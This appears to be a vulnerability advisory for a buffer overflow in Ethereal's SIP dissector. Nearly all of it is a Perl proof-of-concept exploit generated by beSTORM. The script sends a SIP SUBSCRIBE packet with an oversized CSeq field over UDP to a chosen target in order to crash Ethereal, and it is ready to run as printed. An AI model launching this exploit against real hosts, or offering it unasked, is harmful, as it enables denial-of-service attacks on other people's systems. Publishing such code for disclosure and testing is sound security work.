Summary
As we reported in our previous article: Ethereal SIP Dissector Overflow, a vulnerability in Ethereal's SIP dissector allows attackers to cause Ethereal to crash by overflowing an internal buffer used by Ethereal when it tries to handle SIP related packets. The following exploit code can be used to test your system for the mentioned vulnerability.

Credit:
The information has been provided by beSTORM.

Details
Exploit:
#!/usr/bin/perl -w
# Exploit generated by beSTORM on 2005-05-08 17:49
# All Rights Reserved - Copyright (tm)

use IO::Socket;
use strict;

my $target = shift;
my $print_usage = 0;
my $repeated_type = "A";

if (!$target)
{
usage();

print "No target has been supplied, reverting to 192.168.1.52.\n";
$target = "192.168.1.52";
}

my $repeating = shift;
if (!$repeating )
{
usage();

$repeating = 1000;
print "Repeating has not been supplied, reverting to $repeating.\n";
}

my $attackerip = shift;
if (!$attackerip)
{
usage();

print "Attacker IP address has not been supplied, reverting to 192.168.1.49.\n";
$attackerip = "192.168.1.49";
}

my $attackedip = shift;
if (!$attackedip)
{
usage();

print "Contact IP address has not been supplied, reverting to 192.168.1.3.\n";
$attackedip = "192.168.1.3";
}

print "Will attack $target.\n";
print "Attacker IP address defined as: $attackerip\n";
print "Attacked IP address defined as: $attackedip\n";
print "Will repeat '$repeated_type' $repeating times\n";

my $repeated_data = ($repeated_type x $repeating);
my $target_port = 5060;

my $packet =<<END;
SUBSCRIBE sip:username:password\@$attackerip SIP/2.0\r
To: <sip:$attackedip:$target_port>\r
Via: SIP/2.0/UDP $attackedip:3277\r
From: "STORM"<sip:$attackedip:3277>\r
Call-ID: 3121$attackedip\r
CSeq: $repeated_data\r
Max-Forwards: 70\r
Contact: <sip:$attackerip:5059>\r
\r
END

print "Sending: [$packet]\n";

socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));

my $ipaddr = inet_aton($target);
my $sendto = sockaddr_in($target_port,$ipaddr);

send(PING, $packet, 0, $sendto) == length($packet) or die "cannot send to $target : $target_port : $!\n";

print "Done.\n";